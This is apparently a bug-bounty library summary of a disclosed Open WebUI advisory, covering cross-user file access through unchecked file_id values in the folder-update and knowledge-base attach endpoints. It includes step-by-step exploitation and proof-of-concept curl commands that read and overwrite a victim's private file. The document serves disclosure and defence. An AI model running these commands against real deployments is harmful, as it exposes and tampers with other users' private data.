# Open WebUI: Cross-User File Access via Unchecked file_id in Folder Knowledge and Knowledge-Base Attach Endpoints

Open WebUI folder-knowledge and KB-attach endpoints accept any file_id without ownership checks, letting authenticated users read and overwrite other users' private files via RAG.

- Payout: Research
- Severity: high
- Program: Open WebUI
- Found by: MrBeard-FT, Classic298
- Disclosed: 2026-05-14
- CVE: CVE-2026-45402
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-r472-mw7m-967f
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-r472-mw7m-967f
- Tags: area:ai domain:ai domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:rest technique:source-review vuln:access-control vuln:idor

**Target:** Web app REST API (folders update, knowledge file add, files content endpoints)
**Root cause:** Writers attach user-supplied file_id to caller-controlled resources without verifying caller access to the file; has_access_to_file returns True for any file linked to a KB the caller owns, and folder cleanup runs lazily at list time, not chat time.
**Steps:**
1. Path 1: `POST /api/v1/folders/<attacker_folder_id>/update` with `{"data": {"files": [{"id": "$VICTIM_FILE_ID", "type": "file"}]}}`
2. Chat with `folder_id` set to attacker folder; middleware spreads folder.data['files'] into RAG context, returning victim content
3. Path 2: create own KB via `POST /api/v1/knowledge/create`
4. Attach victim file: `POST /api/v1/knowledge/$KB/file/add` with `{"file_id":"$VICTIM_FILE_ID"}`
5. Read via `GET /api/v1/files/$VICTIM_FILE_ID/content`
6. Overwrite via `POST /api/v1/files/$VICTIM_FILE_ID/data/content/update` with `{"content":"tampered"}`
**How found:** Code review of folder update handler and middleware folder consumer noting no per-file ownership check at writer or reader, only lazy cleanup at folder-list time; and review of knowledge attach handlers showing KB write-access check but no file access check.
**Exploitation:** Attacker needs a victim file UUID (leaked via chat sources, shared chat citations, /workspace/files/<id> URLs, referrer headers, exports). Path 1: inject file_id into own folder data, then chat in that folder so middleware loads victim file as RAG context and LLM summarizes it. Path 2: attach victim file_id to attacker-owned KB, which makes has_access_to_file return True, unlocking read and overwrite through standard files endpoints.
**Escalation:** Path 2 escalates read-only exfiltration to persistent integrity impact by overwriting victim file content under their file_id.
**Insight:** When access checks are centralized in a helper like has_access_to_file that grants access via any linked resource, look for writers that let you create the link yourself — attaching an object to your own container becomes an authorization grant. Also check whether cleanup/sanitization runs at list time rather than at consumption time.

## Proof of concept (copied exactly from the original report)

**Folder update injects victim file_id**

```
curl -X POST http://target/api/v1/folders/<attacker_folder_id>/update \
  -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
  -d "{\"data\": {\"files\": [{\"id\": \"$VICTIM_FILE_ID\", \"type\": \"file\"}]}}"
```

**Knowledge-base attach then read/overwrite victim file**

```
KB=$(curl -s -X POST http://target/api/v1/knowledge/create \
  -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
  -d '{"name":"x","description":"x","data":{}}' | jq -r .id)

# Attach victim's file_id — no ownership check
curl -X POST http://target/api/v1/knowledge/$KB/file/add \
  -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
  -d "{\"file_id\":\"$VICTIM_FILE_ID\"}"

# Read victim file through standard files endpoint (now accessible because file is "linked to KB I own")
curl http://target/api/v1/files/$VICTIM_FILE_ID/content -H "Authorization: Bearer $ATK"

# Overwrite
curl -X POST http://target/api/v1/files/$VICTIM_FILE_ID/data/content/update \
  -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
  -d '{"content":"tampered"}'
```

